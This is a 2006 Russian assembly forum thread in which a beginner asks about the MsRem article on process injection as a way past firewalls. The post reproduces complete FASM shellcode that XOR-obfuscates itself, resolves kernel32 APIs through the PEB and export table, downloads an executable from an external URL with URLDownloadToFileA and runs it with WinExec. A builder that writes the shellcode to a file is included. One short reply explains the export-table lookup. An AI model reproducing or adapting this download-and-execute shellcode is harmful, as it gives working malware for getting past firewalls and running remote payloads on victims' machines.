Вопрос по ст. Инжект как метод обхода фаерволлов. Поясните пожалуйста.

Тема в разделе "WASM.BEGINNERS", создана пользователем _animaTOR_, 1 ноя 2006.

  1. _animaTOR_

    _animaTOR_ New Member

    Публикаций:
    0
    Регистрация:
    19 авг 2004
    Сообщения:
    58
    Помогите, читаю статью
    MsRem - Инжект как метод обхода фаерволлов ...
    не могу понять что делают эти куски кода в файле
    http://wasm.ru/pub/21/files/fwb/shellcode.rar
    это та глава где он показывает "Инжект в запускаемый процесс".
    Там он пишет базонезависимый код и привносит его в область памяти
    только что запущенного 'svchost.exe'.
    Вопрос - что прежде чем запустить скачку файлов он тут "вытворяет".
    Подскажите, сам не разобрался.
    Сначала все понятно потом ...

    Код (Text):
    1. format PE GUI 4.0
    2.  
    3. section '.code' code readable writeable executable
    4.  
    5. include '%fasminc%\win32a.inc'
    6.  
    7. macro callx i
    8. {
    9.   call dword [ebp+p_#i-CodeStart]
    10. }
    11.  
    12. macro invokex proc,[arg]
    13.  { common
    14.     if ~ arg eq
    15.    reverse
    16.      pushd arg
    17.    common
    18.    end if
    19.     callx proc }
    20.  
    21. macro getaddr r, i
    22. {
    23.   lea r, [ebp+i-CodeStart]
    24. }
    25.  
    26. cryptd = 0B6h
    27.  
    28. CodeStart:
    29.   db        0E8h, 0FFh, 0FFh, 0FFh, 0FFh, 0C0h
    30.   pop       ebp
    31.   mov       ebx, ebp
    32.   xor       ecx, ecx
    33.   sub       ecx, -CryptSize
    34.   sub       ebx, -(crypt-CodeStart)
    35. @@:
    36.   xor       byte [ebx-5], cryptd
    37.   inc       ebx
    38.   loop      @B
    39. crypt:
    40.   sub       ebp, 5
    41.   mov       eax, [fs:30h]
    42.   mov       eax, [eax+0Ch]
    43.   mov       eax, [eax+1Ch]
    44.   mov       eax, [eax]
    45.   mov       eax, [eax+8]; eax -> VA kernel32.dll
    46.  
    47.   getaddr   esi, KernelNames
    48.   getaddr   edi, KernelTable
    - что делается с этих пор до ...
    Код (Text):
    1.   pushad
    2.   mov       ebx, eax
    3.   mov       ecx, [ebx+3Ch]
    4.   mov       ecx, [ebx+ecx+78h]
    5.   add       ecx, ebx
    6.   mov       edx, [ecx+20h]
    7.   add       edx, ebx
    8.   mov       edi, [edx]
    9.   add       edi, ebx
    10.   push      edi
    11.   push      -1
    12. @@:
    13.   call      SearchIndex
    14.   pop       edi
    15.   inc       edi
    16.   push      edi
    17.   mov       edx, [ecx+24h]
    18.   add       edx, ebx
    19.   movzx     edx, word [edx+eax*2]
    20.   mov       eax, [ecx+1Ch]
    21.   add       eax, ebx
    22.   mov       eax, [eax+edx*4]
    23.   add       eax, ebx
    24.   push      esi
    25.   mov       esi, [esp+0Ch]
    26.   mov       [esi+edi*4], eax
    27.   pop       esi
    28.   mov       edi, [esp+4]
    29.   cmp       byte [esi], 0
    30.   jnz       @B
    --- до этих. Дальше понятно
    Код (Text):
    1.   invokex   VirtualAlloc, 0, FullSize,\
    2.                MEM_COMMIT+MEM_RESERVE,\
    3.                PAGE_EXECUTE_READWRITE
    4.   mov       edi, eax
    5.   mov       esi, ebp
    6.   mov       ebp, eax
    7.   mov       ecx, FullSize
    8.   rep movsb
    9.   getaddr   eax, inmem
    10.   jmp       eax
    11. inmem:
    12.   getaddr   eax, urlmon
    13.   invokex   LoadLibrary, eax
    14.   getaddr   ebx, dlname
    15.   invokex   GetProcAddress, eax, ebx
    16.   getaddr   esi, url
    17.   getaddr   edi, fname
    18.   xor       ebx, ebx
    19.   push      ebx
    20.   push      ebx
    21.   push      edi
    22.   push      esi
    23.   push      ebx
    24.   call      eax
    25.   invokex   WinExec, edi, SW_SHOW
    26. @@:
    27.   invokex   ExitThread
    ---- и с этих до ...

    Код (Text):
    1. SearchIndex:
    2.   pushad
    3.   xor       edx, edx
    4. aNext:
    5.   push      esi
    6. @@:
    7.   cmp       byte [esi], 0
    8.   jz        aFound
    9.   cmpsb
    10.   jz        @B
    11.   inc       edx
    12.   xor       eax, eax
    13.   dec       edi
    14. @@:
    15.   scasb
    16.   jnz       @B
    17.   pop       esi
    18.   jmp       aNext
    19. aFound:
    20.   inc       esi
    21.   mov       [esp+8], esi
    22.   mov       [esp+20h], edx
    23.   pop       eax
    24.   popad
    25.   ret
    ---- до этих. Дальше тоже разобрался.
    Код (Text):
    1. align 4
    2. fname  db '.\test123.exe', 0
    3. urlmon db 'urlmon.dll', 0
    4. dlname db 'URLDownloadToFileA', 0
    5.  
    6. KernelNames:
    7.  db 'VirtualAlloc', 0
    8.  db 'LoadLibraryA', 0
    9.  db 'GetProcAddress', 0
    10.  db 'WinExec', 0
    11.  db 'ExitThread', 0
    12.  db 0
    13.  
    14. align 4
    15. CodeSize = $-CodeStart
    16. url db 'http://ms-rem.dot-link.net/file.exe', 0
    17. CryptSize = $-crypt
    18.  
    19. KernelTable:
    20.  p_VirtualAlloc       dd 0
    21.  p_LoadLibrary        dd 0
    22.  p_GetProcAddress     dd 0
    23.  p_WinExec        dd 0
    24.  p_ExitThread         dd 0
    25. FullSize  = $-CodeStart
    26.  
    27.  
    28. fname2  db 'code.bin', 0
    29.  
    30. entry $
    31.   mov      ebx, CodeStart
    32.   sub      ebx, -(crypt-CodeStart)
    33.   xor      ecx, ecx
    34.   sub      ecx, -CryptSize
    35. @@:
    36.   xor      byte [ebx], cryptd
    37.   inc      ebx
    38.   loop     @B
    39.   invoke   _lcreat, fname2, 0
    40.   mov      esi, eax
    41.   cmp      esi, -1
    42.   jz       @F
    43.   invoke   _lwrite, esi, CodeStart, FullSize
    44.   invoke   _lclose, esi
    45. @@:
    46.   ret
    47.  
    48. section '.idata' import data readable writeable
    49.  
    50.   library kernel32, 'kernel32.dll',\
    51.       user32,   'user32.dll'
    52.  
    53.   include '%fasminc%\apia\kernel32.inc'
    54.   include '%fasminc%\apia\user32.inc'
    Спасибо.
     
  2. Freeman

    Freeman New Member

    Публикаций:
    0
    Регистрация:
    10 фев 2005
    Сообщения:
    1.385
    Адрес:
    Ukraine
    то, что ниже, похоже на поиск адресов апи в таблице, эмм, экспорта